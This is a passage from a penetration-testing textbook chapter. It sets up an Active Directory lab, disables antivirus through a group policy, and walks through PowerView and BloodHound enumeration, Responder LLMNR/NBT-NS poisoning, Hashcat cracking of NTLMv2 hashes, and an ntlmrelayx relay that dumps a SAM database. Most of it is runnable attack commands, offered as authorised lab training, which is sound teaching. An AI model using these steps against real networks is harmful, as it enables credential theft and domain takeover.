• When a virtual machine is running, it utilizes computing resources from your computer, so 
running four virtual machines simultaneously will require a lot of Random Access Memory 
(RAM). However, before you power on any virtual machine, simply adjust the memory allo-
cation to a value that is suitable for your computer. For this chapter, I assigned 1,024 MB of 
RAM to the Windows 10 Enterprise and Windows Server 2019 virtual machines, and they all 
worked fine. However, you can choose to adjust this value based on the resources available 
on your computer.
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• Ensure Kali Linux is connected to both the Redteamlab network and the internet. You can 
modify the network adapter settings within VirtualBox Manager to allow Kali Linux to be con-
nected to two or more networks simultaneously. Therefore, open VirtualBox Manager, select 
the Kali Linux virtual machine, select Settings, go to Network, and enable Adapter 3. This will 
enable the network adapter on Kali Linux that’s connected to the RedTeamLab network within 
our lab topology, as shown below:

Figure 12.4: Enabling network adapter

• When joining an Active Directory domain using a Windows 10 Enterprise client with a Windows 
Server 2019 system, the Network Location Awareness service on the client does not always 
sense the connection as a Domain network but as an Unidentified network. To perform this 
check on Windows 10, go to Control Panel > Network and Sharing Center, as shown here:

Figure 12.5: Checking network status
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• The preceding screenshot shows the expected result when a Windows 10 client recognizes the 
network connection as a domain network. This ensures that the group policies will be applied 
correctly from the domain controller (Windows Server 2019) to the Windows 10 clients within 
our network.

However, if your Windows 10 clients detect the network connection as an Unidentified network, 
simply remove the domain and rejoin. Each Windows 10 client must recognize the network 
as a Domain network.

• Ensure IPv6 is enabled within the network adapter settings within Kali Linux.

Before we proceed further, there is some additional configuration needed on Windows Server to ensure 
our GPO is applied to all domain-joined systems and authenticated users. Please use the following 
instructions:

1. Power on the Microsoft Windows Server virtual machine and log in as the Administrator, 
using the password P@ssword1.

2. Next, open the Command Prompt and use the following commands to link the DisableAVGPO 
policy to the redteamlab.local domain and authenticated users:

C:\Users\Administrator> powershell
PS C:\Users\Administrator> New-GPLink -Name "DisableAVGPO" -Target 
"DC=redteamlab,DC=local"

3. The following screenshot shows the execution of the preceding commands:

Figure 12.6: Linking the group policy

Network Location Awareness (NLA) determines the network type based on the 
network’s characteristics and the system’s current configurations. When NLA 
identifies a network as unidentified, it is because NLA cannot retrieve enough 
information to classify the network correctly. This can be due to various reasons, 
including DNS issues, network misconfigurations, or delays in the network’s re-
sponse upon system startup.
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4. Next, use the following commands to link the DisableAVGPO policy on the redteamlab.local 
domain:

PS C:\Users\Administrator> Set-GPLink -Name "DisableAVGPO" -Target 
"DC=redteamlab,DC=local" -Enforced Yes

5. The following screenshot shows the execution of the preceding commands:

Figure 12.7: Enforcing the group policy

In the next two sections, you will learn how to use various tools and techniques to retrieve sensitive 
information about the objects within an Active Directory domain.

Working with PowerView
PowerView is a powerful PowerShell tool that allows penetration testers to gain in-depth insights into an 
organization’s Active Directory domain and forest structure. The PowerView tool uses native PowerShell 
coding (with some modifications) to work better with Active Directory and a Win32 Application Pro-
gramming Interface (API). This allows PowerView to interact with Active Directory seamlessly. Using 
PowerView will dramatically improve the process of performing enumeration within Active Directory.

If the preceding command did not work, use the gpupdate /force command.

Keep in mind that with the continuous advancement of antimalware and threat detection 
solutions, Windows Defender may prevent and stop many of these penetration testing tools 
from being used on a Windows operating system as they are also used by threat actors. 
Various techniques and strategies can be used to evade detection during a penetration 
test, but this is beyond the scope of this book.

Therefore, in a real-world penetration test, ask the customer for a dedicated domain-joined 
system with remote access and to permit PowerView.ps1, mimikatz.exe, PsExec64.
exe, PSLoggedOn.exe, and any other Windows-based tools for penetration testing on 
their antimalware solution on the device. You can then use your attacker machine to 
remotely connect to the domain-joined machine, transfer your tools, and perform the 
penetration test.
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To get started on working with PowerView, please use the following instructions:

1. Power on the Kali Linux, Bob-PC, and Windows Server 2019 virtual machines. Ensure the 
Windows 10 (Bob-PC) machine detects the network connection as a domain network.

2. On Kali Linux, open a Terminal (#1) and use the following commands to create a new folder, 
locate and copy the PowerView.ps1 script into the newly created folder, and enable the Python3 
web server for file transfer:

kali@kali:~$ mkdir pentest-tools
kali@kali:~$ cd pentest-tools
kali@kali:~/pentest-tools$ locate PowerView.ps1
kali@kali:~/pentest-tools$ cp /usr/share/windows-resources/powersploit/
Recon/PowerView.ps1 .
kali@kali:~/pentest-tools$ python3 -m http.server 8080

3. The following screenshot shows the execution of the preceding commands:

Figure 12.8: Copying tools

4. Next, log in to Bob-PC using the domain user account, for instance, username gambit and 
password Password1. Once you are logged in as a domain user, open the Command Prompt 
with administrative privileges and use the following commands to download the PowerView.
ps1 script from Kali Linux:

C:\Windows\system32> cd C:\Users\gambit\Downloads
C:\Windows\system32> powershell
PS C:\Users\gambit\Downloads> iwr -uri http://192.168.42.27:8080/
PowerView.ps1 -OutFile PowerView.ps1

To utilize PowerView to its full potential, you will need to use this tool on a com-
puter that is already joined to the Active Directory domain, such as Bob-PC within 
our Redteamlab network. In a real-world penetration test, these exercises are 
performed during the post-exploitation phase of the penetration test, where you 
would have already gained access to a Windows client computer on the network.



Chapter 12 485

5. The following command shows the execution of the preceding commands and the successful 
file transfer:

Figure 12.9: Downloading the tools

6. Next, use the following commands on Bob-PC to disable the PowerShell execution policy:

PS C:\Users\gambit\Downloads> exit
C:\Users\gambit\Downloads> powershell -Execution bypass

7. Disabling the PowerShell execution policy allows you to use PowerView on a Windows-based 
computer.

8. Next, use the following command to enable the use of PowerView with PowerShell:

PS C:\Users\gambit\Downloads> . .\PowerView.ps1

9. There’s a space between both dots within the preceding command.
10. To retrieve information about your current domain, use the following command:

PS C:\Users\gambit\Downloads> Get-NetDomain

A PowerShell execution policy is used to prevent the current user from accidentally 
executing PowerShell scripts on the local system. However, this is not a security 
measure on Microsoft Windows. To learn more about PowerShell execution poli-
cies, please see https://learn.microsoft.com/en-us/powershell/module/
microsoft.powershell.security/set-executionpolicy?view=powershe
ll-7.4.

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.4
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.4
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.4
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11. As shown in the following screenshot, the forest and domain controller hostname have been 
retrieved:

Figure 12.10: Getting the domain information

12. To retrieve the Security Identifier (SID) of the current domain, use the following command:

PS C:\Users\gambit\Downloads> Get-DomainSID

13. As shown in the following screenshot, the SID for the targeted domain was retrieved:

Figure 12.11: Getting domain SID

14. Use the following command to obtain a list of the domain policies of the current domain:

PS C:\Users\gambit\Downloads> Get-DomainPolicy

15. As shown in the following screenshot, SystemAccess and KerberosPolicy were retrieved:

To retrieve information about another domain with the forest, use the Get-
NetDomain -Domain <domain-name> command.

Additionally, using the whoami /user command provides you with the domain, 
username, and SID.
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Figure 12.12: Getting domain policies

16. To easily retrieve the identity of the domain controller on the current domain, use the follow-
ing command:

PS C:\Users\gambit\Downloads> Get-NetDomainController

17. As shown in the following snippet, specific details about the domain controller, such as its 
operating system, hostname, and IP addresses, were obtained:

Figure 12.13: Identifying the domain controller

18. During a real-world penetration test, it can sometimes be a bit challenging to identify the 
domain controller(s) within an organization. Using the Get-NetDomainController command 
will make retrieving the information easy.
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19. To retrieve a list of all the users on the current domain, use the following command:

PS C:\Users\gambit\Downloads> Get-NetUser

20. As shown in the following screenshot, all domain users’ accounts and their details are retrieved:

Figure 12.14: Getting the domain users

To retrieve the identity of the domain controller within another domain of the 
same forest, use the Get-NetDomainController –Domain <another domain> 
command.
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21. Furthermore, you can view the group memberships of a specific user, as well as their last 
login and log-off times

22. To retrieve a list of all domain computer accounts on the current domain, use the following 
command:

PS C:\Users\gambit\Downloads> Get-NetComputer

23. The following screenshot shows the computer accounts that were retrieved:

Figure 12.15: Getting the domain computers

24. To get a list of all the groups within the current domain, use the following command:

PS C:\Users\gambit\Downloads> Get-NetGroup



Working with Active Directory Attacks490

25. As shown in the following screenshot, all the groups and their details were retrieved:

Figure 12.16: Getting the domain groups

26. To retrieve all the local groups on a system on the domain, use the following commands:

PS C:\Users\gambit\Downloads> Get-NetLocalGroup -ComputerName dc1.
redteamlab.local

27. As shown in the following screenshot, the local groups of the domain controller were retrieved:

To filter for a specific group, use the Get-NetGroup *keyword* command. For 
example, Get-NetGroup *admin* will retrieve all the groups that contain the 
admin keyword.
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Figure 12.17: Retrieving local groups from a specific domain controller

28. To retrieve all the file shares on all the devices within the current domain, use the following 
command:

PS C:\Users\gambit\Downloads> Invoke-ShareFinder -Verbose

29. As shown in the following screenshot, all the shares were retrieved from all the systems within 
the domain:
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30. To get a list of all the GPOs from the current domain, use the following command:

PS C:\Users\gambit\Downloads> Get-NetGPO

31. The following screenshot shows a list of the GPOs that were retrieved:

Figure 12.19: Retrieving the GPOs

32. To get specific details about the current forest, use the following command:

PS C:\Users\gambit\Downloads> Get-NetForest

33. The following screenshot shows details of the current domain:
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Figure 12.20: Retrieving forest information

34. To retrieve all the domains within the current forest, use the following command:

PS C:\Users\gambit\Downloads> Get-NetForestDomain

35. The following screenshot shows all the domains that were found within the current forest:

Figure 12.21: Identifying all the domains on the network

To retrieve the domains from another forest, use the Get-NetForestDomain 
-Forest <forest-name> command.



Working with Active Directory Attacks494

36. To retrieve all the global catalogs for the current forest that contain information about all 
objects within the directory, use the following command:

PS C:\Users\gambit\Downloads> Get-NetForestCatalog

37. As shown in the following screenshot, all the global catalogs were obtained:

Figure 12.22: Retrieving the global catalogs

38. To discover all the devices where the current user has local administrator access on the current 
domain, use the following command:

PS C:\Users\gambit\Downloads> Find-LocalAdminAccess -Verbose

39. As shown in the following screenshot, there are two computers, Bob-PC and Alice-PC, on the 
domain that the current user(s) has local administrator privileges for:

Figure 12.23: Identifying the local administrator accounts
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40. To discover all the local administrator accounts on all the computers of the current domain, 
use the following command:

PS C:\Users\gambit\Downloads> Invoke-EnumerateLocalAdmin -Verbose

41. As shown in the following screenshot, all the local administrators of their corresponding 
computers have been obtained:

Figure 12.24: Identifying the local administrators and their computers

Having completed this exercise, you have learned how to use PowerView to retrieve sensitive infor-
mation from Active Directory by exploiting the trust between users and devices within the Windows 
domain. Utilizing the information you’ve collected will help you identify and map users, policies, 
devices, and the domain controller to the domain while providing you with a better idea of the attack 
path to compromise the domain.

Next, you will learn how to use BloodHound to visualize the attack path for the entire Active Directory 
domain and forest within an organization.

PowerView belongs to a larger suite of tools known as PowerSploit; to learn more about 
PowerSploit, please visit https://github.com/PowerShellMafia/PowerSploit.

https://github.com/PowerShellMafia/PowerSploit
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Exploring BloodHound
BloodHound is an Active Directory data visualization application that helps penetration testers to 
efficiently identify the attack path to gain control over a Windows Active Directory domain and forest. 
In addition, it helps with identifying the misconfigurations and relationships that could be exploited 
by threat actors. Furthermore, BloodHound uses graph theory to reveal hidden relationships within 
an Active Directory environment, thus making it easier for penetration testers to visualize privilege 
escalation paths.

Overall, the data in Active Directory must be collected from the organization using a collector such 
as BloodHound-Python, SharpHound, or AzureHound. Once the data has been collected, it has to be 
processed by BloodHound, which provides the attack path to domain takeover within an organization.

The following is a breakdown for each type of collector used by BloodHound:

• SharpHound is the most commonly used data collector for BloodHound, designed to collect 
data from on-prem AD environments.

• BloodHound-Python is an alternative to SharpHound for collecting similar types of data and 
is most suitable when executing .NET binaries is restricted or monitored.

• AzureHound is designed to collect data from Azure AD (now MS Entra), allowing BloodHound 
to analyze and visualize attack paths in cloud environments.

To get started with collecting and analyzing Active Directory data, please use the following instructions.

Part 1 – setting up BloodHound
1. Power on the Kali Linux virtual machine, open the Terminal (#1), and use the following com-

mands to install the OpenJDK package:

kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt-get install openjdk-11-jdk

2. Next, create a new directory within Kali Linux:

kali@kali:~$ mkdir bloodhound
kali@kali:~$ cd bloodhound

3. Then, use the following commands to add the Neo4j repository to the local source list on Kali 
Linux:

kali@kali:~/bloodhound$ wget -O - https://debian.neo4j.com/neotechnology.
gpg.key | sudo apt-key add - echo 'deb https://debian.neo4j.com stable 4' 
| sudo tee /etc/apt/sources.list.d/neo4j.list > /dev/null

4. After that, use the following commands to install apt-transport-https and Neo4j on Kali Linux:

kali@kali:~/bloodhound$ sudo apt-get install apt-transport-https
kali@kali:~/bloodhound$ sudo apt-get install neo4j
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5. Now, start the Neo4j console:

kali@kali:~/bloodhound$ sudo neo4j console

6. Next, to download the latest BloodHound GUI, go to https://github.com/BloodHoundAD/
BloodHound/releases to download and save the BloodHound-linux-x64.zip file within the on 
/home/kali/bloodhound directory, as shown below:

Figure 12.25: BloodHound installer

7. Open a new Terminal (#2) and use the following commands to unzip and list the contents of 
the downloaded file:

kali@kali:~$ cd bloodhound
kali@kali:~/bloodhound$ unzip BloodHound-linux-x64.zip
kali@kali:~/bloodhound$ cd BloodHound-linux-x64

8. The following screenshot shows the execution of the preceding commands:

Figure 12.26: Unzipping the BloodHound folder

https://github.com/BloodHoundAD/BloodHound/releases
https://github.com/BloodHoundAD/BloodHound/releases
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9. Use the following commands to set execution privileges and run the BloodHound executable 
file:

kali@kali:~/bloodhound/BloodHound-linux-x64$ chmod +x BloodHound
kali@kali:~/bloodhound/BloodHound-linux-x64$ sudo ./BloodHound --no-
sandbox

10. The BloodHound user interface will automatically appear on the Kali Linux desktop, as shown 
below:

Figure 12.27: BloodHound login window

11. Open the web browser within Kali Linux, go to http://localhost:7474, log in with the user-
name neo4j and password neo4j, and click on Connect, as shown below:

Figure 12.28: Connecting to BloodHound

http://localhost:7474
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12. Next, set a new password for BloodHound and click on Change password, as shown below:

Figure 12.29: Changing the password

13. After the password is changed, return to the BloodHound login window and log in using the 
username neo4j with the new password, as shown below:

Figure 12.30: Login window

Part 2 – remote data collection with BloodHound.py
Bloodhound.py is a data collector that enables penetration testers and red teamers to remotely collect 
Active Directory data from the domain controller.

To get started with using Bloodhound.py for data collection, please use the following instructions:

1. On Kali Linux, open a new Terminal (#3) and use the following commands to set up Blood-
hound.py:

kali@kali:~$ cd bloodhound
kali@kali:~/bloodhound$ pip install bloodhound
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2. Next, we need to add bloodhound-python to the environmental variable path; use the following 
command to edit the .zshrc file:

kali@kali:~$ nano ~/.zshrc

3. When the .zshrc contents open in Nano, insert the following line at the end of the file:

export PATH="$PATH:/home/kali/.local/bin"

4. Save the file by pressing Ctrl + X, then Y, and then press Enter on the keyboard.
5. Next, execute the contents of the .zshrc file:

kali@kali:~$ source ~/.zshrc

6. Now, use the following commands to perform remote data collection using Bloodhound.py 
on the targeted domain controller within our lab environment:

kali@kali:~$ cd bloodhound
kali@kali:~/bloodhound$ bloodhound-python -d redteamlab.local -u gambit 
-p Password1 -ns 192.168.42.40 -c all

The following is a description of each syntax used in the preceding command:

• -d: Specifies the targeted Active Directory domain.
• -u: Specifies the username of a valid domain user.
• -p: Specifies the password for the domain user.
• -ns: Specifies the name server or IP address of the domain controller.
• -c: Specifies the collector method.

7. The following screenshot shows the execution of the data collection running:

If the pip command doesn’t work, try using pip3 instead.
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Figure 12.31: Launching the data collector

8. As shown in the preceding screenshot, Bloodhound.py was able to find 1 domain, 3 computer 
accounts, 8 users, 52 groups, 3 GPOs, and the hostnames of every computer on the domain.

9. The following screenshot shows the JSON file that was created by Bloodhound.py with the 
collected data:

Figure 12.32: Data collector files
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Part 3 – data analysis using BloodHound
To perform analysis using BloodHound, please use the following instructions:

1. Next, log in to the BloodHound GUI using your user credentials, as shown below:

Figure 12.33: BloodHound login window

2. On the BloodHound user interface, click on the Upload Data button, as shown below:

Figure 12.34: BloodHound upload button
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3. Next, the upload window will appear; select all the .json files that were created by BloodHound.py 
and click on Open, as shown below:

Figure 12.35: BloodHound data collector files

4. Next, the data upload progress window will appear; wait until all the data is 100% uploaded, 
and then click on Clear Finished and close the window. The wait time isn’t long as the file 
sizes are quite small.

5. Once the data has been processed, on the left-hand side of BloodHound, click on the menu 
icon and select Database Info to view the overall details of the Active Directory domain:
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6. BloodHound contains pre-built analytics queries to help you gain better visualization of the 
attack paths within the Active Directory domain. Click on Analysis to view the pre-built tem-
plates, as shown below:

Figure 12.37: Analysis options

7. Next, within the Analysis section, click on Find all Domain Admins (shown in the preceding 
screenshot) to go to the attack path for domain administrators to load the domain adminis-
trators’ objects, as shown below:
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Figure 12.38: Data visualization

8. Next, click on Find Shortest Paths to Domain Admins to view the attack paths:

Figure 12.39: Attack paths

As mentioned earlier, using a tool such as BloodHound provides a graph displaying the attack paths 
that can be taken by a penetration tester to compromise systems, user accounts, domain controllers, 
and even take over the Active Directory domain and forest.

Be sure to hover over the paths of the graph to reveal more details. Note that 
clicking on nodes will reveal the hostnames, system names, and even user account 
details, which show how a user account is mapped to a system within the domain.
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Having completed this section, you have gained hands-on experience and skills in enumerating objects 
within a Windows Active Directory domain. In the next section, you will learn how to gain access to 
systems by abusing the trust of network protocols within Active Directory.

Leveraging network-based trust
While this chapter focuses on exploiting the trust of the Active Directory roles and services within 
a Windows environment, there are several types of attacks, such as pass-the-hash, that exploit the 
security vulnerabilities found within the protocols of the Transmission Control Protocol/Internet 
Protocol (TCP/IP) protocol suite. When we talk about TCP/IP, we are often referring to network-related 
technologies and devices. However, the protocols within TCP/IP can be found in the operating system 
and the applications running on a host device as well. As an aspiring penetration tester, it is important 
to discover as many techniques as possible and develop strategies to compromise your target.

In this section, you will learn how to discover and exploit security weaknesses found within the under-
lying network protocols of TCP/IP. These are used within an Active Directory domain to connect clients 
such as Windows 10 Enterprise systems to a domain controller that is running Windows Server 2019.

Exploiting LLMNR and NetBIOS-NS
In many organizations, you will encounter a lot of Windows Server machines that serve the role of 
either a parent or child domain controller. As you know, a domain controller is simply a Windows 
Server machine running the Active Directory Domain Service role and is used to manage all the devices 
and users within the organization.

Additionally, Active Directory allows IT professionals to use GPOs to assign privileges to end devices 
and users, thereby creating restrictions to prevent unauthorized activities and actions from occurring 
in the domain.

To learn more about the BloodHound.py collector, please see https://github.com/
dirkjanm/BloodHound.py.

When using the Active Directory Domain Service role, by default, it uses LDAP, which is 
an unsecure directory access protocol.

https://github.com/dirkjanm/BloodHound.py
https://github.com/dirkjanm/BloodHound.py
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Within a Windows environment, you will commonly find both the Network Basic Input/Output Sys-
tem-Name Service (NetBIOS-NS) and Link-Local Multicast Name Resolution (LLMNR) protocols.

NetBIOS-NS is a network protocol and is commonly used on Local Area Networks (LANs) to resolve 
the hostnames of other devices within the same network. However, NetBIOS has been around for a 
very long time, and it is considered to be very outdated. While it is now a legacy protocol, it can still 
be found on many organizations’ internal networks.

In modern enterprise networks, with Windows operating systems as clients and servers, you will find 
that LLMNR is enabled by default where there are no Domain Name System (DNS) servers present 
or available on the network.

LLMNR shares similarities to its predecessor, NetBIOS-NS, as they are both used to resolve hostnames 
on a network. While in many medium-sized to large corporate networks, there may be one or more 
internal DNS servers, LLMNR is still enabled by default on Windows operating systems. Both protocols 
can be exploited for attacks like spoofing and poisoning. Attackers can respond to LLMNR/NetBIOS-NS 
queries with false information, potentially redirecting traffic to malicious hosts.

As a penetration tester, you can exploit the trust within the Active Directory services and LLMNR to 
capture domain users’ credentials as they are sent across the network. We will use a tool called Re-
sponder to listen for LLMNR, NBT-NS, and DNS messages on a network and will reply to any systems 
sending these types in the order listed. Responder simply allows Kali Linux to capture these messages 
and provide a fake response to clients on the network.

NetBIOS-NS is also referred to as NBT-NS within the industry.

To learn more about Responder, please see the following link: https://tools.kali.org/
sniffingspoofing/responder.

https://tools.kali.org/sniffingspoofing/responder
https://tools.kali.org/sniffingspoofing/responder
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To start capturing domain users’ login credentials and exploit LLMNR within an Active Directory 
domain, please use the following instructions:

1. Power on your Kali Linux virtual machine, open the Terminal (#1), and use the ip addr 
command to determine which of your interfaces is connected to the Redteamlab on the 
192.168.42.0/24 network:

Figure 12.40: Checking information status

2. As shown in the preceding screenshot, eth2 is currently connected to the 192.168.42.0/24 
network. Your Kali Linux machine should be using the same interface. You must identify which 
interface is connected to the 192.168.42.0/24 network before proceeding to the next step.

3. Next, on the same Terminal, use Responder to perform LLMNR, NBT-NS, and DNS poisoning 
on the network while enabling various servers on Kali Linux:

kali@kali:~$ sudo responder -I eth2 –dwPv
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4. The following screenshot shows that Responder has enabled the default poisoners and servers 
on the eth2 interface of Kali Linux:

Figure 12.41: Responder settings

5. Let’s look at each syntax that was used within the preceding screenshot:

• -I: Specifies the listening interface.
• -d: Enables NetBIOS replies for domain suffix queries on the network.
• -w: Enables the WPAD rogue proxy server.
• -P: Forces NTLM authentication for the proxy and does not require WPAD to be on.
• -v: Verbose mode.

6. Once you have started Responder, the Terminal will display all the events in real time. So, if 
a client attempts to access a resource on the network, a file server, or even a network share, 
their user credentials will be captured by Responder.

7. Next, power on the Bob-PC and Windows Server 2019 virtual machines. Log in to Bob-PC 
using a domain user, such as username gambit and password Password1.
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8. Since our lab does not have production users, let’s trigger an event on the network. On Bob-
PC, open the Run application (Windows key + R) and provide a Universal Naming Convention 
(UNC) path for Kali Linux’s IP address by using the \\<Kali-Linux-IP-address> command, 
as shown here:

Figure 12.42: Triggering an event

9. Next, on Kali Linux, check the Terminal (#1) that is running Responder. You will see it has 
automatically captured the domain user’s credentials:

Figure 12.43: Capturing NTLMv2 data

10. Without the domain user having to enter their username and password, their client computer 
sent their user credentials across the network, which were captured by Responder. The fol-
lowing data was collected:

• The client’s IP address.
• The domain name.
• The victim’s username (redteamlab\gambit).
• The victim’s password, in the form of an NTLMv2 hash.
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11. Next, save the entire contents of NTLMv2-SSP Hash in a text file called NTLMv2-hash.txt and 
save it on your Kali Linux desktop.

12. To perform offline password cracking of the NTLMv2 hash, use the hashcat -h | grep NTLMv2 
command to easily identify the hash code for NTLMv2:

Figure 12.44: Checking hash code

13. As you can see, Hashcat uses hash code 5600 for NTLMv2 to perform password cracking.

14. Next, in a new Terminal, use Hashcat with the following commands to crack the NTLMv2 hash 
to obtain the password for the user:

kali@kali:~$ hashcat -m 5600 /home/kali/Desktop/NTLMv2-hash.txt /usr/
share/wordlists/rockyou.txt -O

15. Using the -m syntax informs Hashcat about the type of hash. The -O syntax allows Hashcat to 
optimize the process.

The Windows operating system stores local users’ passwords in the form of NTLM 
hashes, either NTLMv1 or NTLMv2, depending on the version of Microsoft Win-
dows and its configurations. However, when Windows needs to send these pass-
words across a network, it uses NTLMv2 and not NTLMv1. Keep in mind that you 
can perform pass-the-hash techniques using both NTLMv1 and NTLMv2 password 
hashes on a network. While NTLMv2 is considered more secure, threat actors 
can still exploit it to perform NTLM Relay and password-cracking attacks to gain 
unauthorized access to systems on networks.

You can also visit the official Hashcat wiki to find all the hash codes: https://
hashcat.net/wiki/doku.php?id=example_hashes.

https://hashcat.net/wiki/doku.php?id=example_hashes
https://hashcat.net/wiki/doku.php?id=example_hashes
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16. Once Hashcat retrieves the password for the NTLMv2 hash of the user, it will be presented, 
as shown here:

Figure 12.45: Password cracking

17. As shown in the preceding screenshot, Hashcat was able to retrieve the domain user’s pass-
word from the NTLMv2 hash. At this point, you have obtained the username and password of 
a valid domain user on the network. Now, you can use it to gain access to systems that share 
the same user credentials.

Imagine if a domain administrator has logged in to a computer and their user credentials are 
captured. At this point, you can compromise the domain controller and easily have access to 
the entire domain within the organization.

Furthermore, appending the --show command at the end of the preceding command will show 
you all the previously cracked password hashes:

Figure 12.46: Checking cracked passwords
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Having completed this exercise, you have learned how to capture domain users’ credentials using 
Responder and retrieve the password from the NTLMv2 hash using Hashcat. In the next exercise, you 
will learn how to exploit Server Message Block (SMB) to gain access to a system on a Windows domain.

Exploiting SMB and NTLMv2 within Active Directory
The Server Message Block (SMB) protocol is a common network protocol that lets devices share re-
sources like files and printers across a network. Within an enterprise network, you will often discover 
there are many shared network drives mapped to employees’ computers. This allows users to share 
files across the entire organization easily.

As you may recall, in Chapter 3, Setting Up for Advanced Penetration Testing Techniques, while building 
our Active Directory lab environment, SMB was implemented between the Windows 10 clients and 
Windows Server 2019 to simulate a corporate network with network shares available to users within 
the network. In this hands-on exercise, you will learn how to exploit the trust between end devices.

Retrieving the SAM database
To start, we’ll exploit the trust between Windows hosts on a network and retrieve the contents of the 
SAM database of a host with SMB. By retrieving the contents of the SAM database, you’ll have access 
to the usernames and the NTLM hashes of each local user account. You can perform offline password 
cracking to identify the plaintext passwords for each user or perform pass-the-hash to access other 
systems on the network that use shared user credentials.

To get started, please use the following instructions:

1. Power on your Kali Linux, Bob-PC, Alice-PC, and Windows Server 2019 virtual machines.
2. On Kali Linux, open the Terminal (#1) and use the Nmap Scripting Engine (NSE) to detect the 

SMB version 2 message-signing mechanism on the Windows hosts on the network:

kali@kali:~$ nmap --script smb2-security-mode -p 445 192.168.42.0/24

In a real-world penetration test or red teaming exercise, you will need a dedicated pass-
word-cracking system with a dedicated Graphics Processing Unit (GPU) and Hashcat 
on the host operating system. This enables Hashcat to fully leverage the GPU for offline 
password cracking. GPUs are highly efficient at performing the types of parallel compu-
tations necessary for password cracking, significantly reducing the time required to crack 
passwords compared to using a CPU alone. This efficiency is due to the architecture of 
GPUs, which can perform thousands of simple calculations simultaneously.
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3. It’s important to determine whether your targeted Windows hosts have SMB signing enabled 
or disabled. On Windows clients, Nmap will return Message signing enabled but not required, 
which will allow us to exploit the trust between Windows clients with the same SMB security 
status. This is the default on Windows 10 client devices, as shown here:

Figure 12.47: Checking SMB signing status

4. As shown in the preceding screenshot, on Windows Server 2019, the SMB security status is set 
to Message signing enabled and required by default, which will not allow us to exploit trust.

5. At this point, the Nmap scan has proved that the Windows 10 client on the network has its 
SMB security mode set to Message signing enabled but not required by default, which is a 
bit like saying that when SMB is used to access shared resources on a host without requiring 
message signing, it’s like having security that relies solely on trust, which isn’t really secure.

6. (Optional) To test our newly found SMB access, let’s create a backup of the Impacket tools 
from the native directory and place them into our /home/kali/ directory for ease of access:

kali@kali:~$ sudo cp -R /usr/share/doc/python3-impacket/examples /home/
kali/impacket

To learn more about the SMB2 security mode script from Nmap, please visit 
https://nmap.org/nsedoc/scripts/smb2-security-mode.html.

https://nmap.org/nsedoc/scripts/smb2-security-mode.html
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7. Next, we will need to use Responder once more. However, this time, we do not want Responder 
to respond to any SMB and HTTP messages that are sent from clients on the network – only 
listen for them.

8. Use the following commands to open the Responder.conf file using the Nano text editor within 
Kali Linux:

kali@kali:~$ sudo nano /etc/responder/Responder.conf

9. Once the Responder.conf file is open within the Nano text editor, simply change the SMB and 
HTTP server statuses to Off and save the file before closing the text editor:

Figure 12.48: Changing Responder settings

10. Save the file by pressing Ctrl + X, then Y, and then press Enter on the keyboard.

11. Next, in the Terminal (#1), start Responder on the interface that is connected to the 
192.168.42.0/24 network:

kali@kali:~$ sudo responder -I eth2 -dwPv

To learn more about the functionality of Impacket and its components, please 
visit https://github.com/fortra/impacket.

You may want to revert the configuration of the Responder.conf file after com-
pleting this chapter.

https://github.com/fortra/impacket
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12. As shown in the following screenshot, Responder has started with both SMB and HTTP servers 
only listening and not responding to messages:

Figure 12.49: Verifying Responder settings

13. Next, we will be using Impacket to perform an NTLM relay attack by capturing the domain 
user credentials from Alice-PC and relaying them to Bob-PC. This will allow us to capture the 
user accounts within the SAM database on Bob-PC.

14. Open a new Terminal (#2) and use the following commands to start the NTLM relay attack; 
ensure you set the target as the IP address of Bob-PC with SMBv2 support:

kali@kali:~$ ntlmrelayx.py -t 192.168.42.26 -smb2support

15. Setting the IP address of Bob-PC when you are using the preceding commands enables you to 
relay the captured user credentials from Alice-PC to Bob-PC:
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Figure 12.50: Performing an NTLM relay attack

16. NTLM relay attacks are possible when a user account is shared between systems on a network, 
such as a local user account and even domain users.

17. In a real penetration test engagement, you will need to wait for a user to trigger an event on 
the network. However, within our lab, there are no other users to perform such events. So, log 
in to Alice-PC with the username rogue and password Password1.

18. Once you’ve logged in to Alice-PC as the domain user, open the Run application and create a 
UNC path to the IP address of Kali Linux on the network, as shown here:

Figure 12.51: Triggering an event

When using the Impacket ntlmrelayx.py script, using the -t syntax allows you 
to specify a single target. However, in a large organization, you will want to cre-
ate a text file containing a list of IP addresses for all the host systems that have 
their SMB security mode set to Message signing enabled and required. This file 
can be invoked using the -tf <file-name> command for simplicity during a 
penetration test.
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19. Go back to your Kali Linux Terminal (#2) and notice that the SAM database of Bob-PC has been 
dumped onto the Terminal, as shown here:

Figure 12.52: Retrieving the SAM database

20. As shown in the preceding screenshot, when the user on Alice-PC attempted to access the SMB 
services on another device on the network, Alice-PC sent the logged-on user’s credentials across 
the network, which were captured and relayed to Bob-PC by the attacker’s machine (Kali Linux).

21. As a result, the user credentials are valid and allow the attacker system to obtain the bootkey, 
which is then used to decrypt the SAM database and retrieve its contents, such as the usernames 
and NLTM password hashes of all local user accounts on the system.

22. Save the contents of the SAM database into a text file on Kali Linux Desktop whose name is 
samdump.txt. This information can be used in password cracking, lateral movement across the 
network, and pass-the-hash to gain access to other devices on the network.

23. The following screenshot shows the contents were saved:

Figure 12.53: Saving the data
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24. Next, we can use the cut command to filter specific sections of samdump.txt to provide us with 
only the NTLMv1 hashes for each user with the following commands:

kali@kali:~$ cut -d ":" -f 4 /home/kali/Desktop/samdump.txt

25. The following is a description of the preceding commands:

• -d: This syntax specifies the delimiter with quotation marks. For instance, -d ":" spec-
ifies to locate the colon (:) character within the samdump.txt file.

• -f: This syntax specifies the field to retrieve between the delimiter. For instance, -f 4 
specifies to retrieve the fourth section.

26. Executing the preceding commands filters the contents of the samdump.txt file and provides 
us with only the NTLM hashes for each local user, as shown below:

Figure 12.54: Filtering only the NTLM hashes

27. Next, use the following command to redirect the output of the preceding command into a new 
file with the name samdump-NTLM-hashes.txt:

kali@kali:~$ cut -d ":" -f 4 /home/kali/Desktop/samdump.txt > /home/kali/
Desktop/samdump-NTLM-hashes.txt

28. The following screenshot shows the contents of the newly created file with the NTLMv1 hashes:

Figure 12.55: Creating a new file with hashes only

29. Next, use the following command to determine the module number on Hashcat for cracking 
NTLMv1 hashes:

kali@kali:~$ hashcat -h | grep NTLM
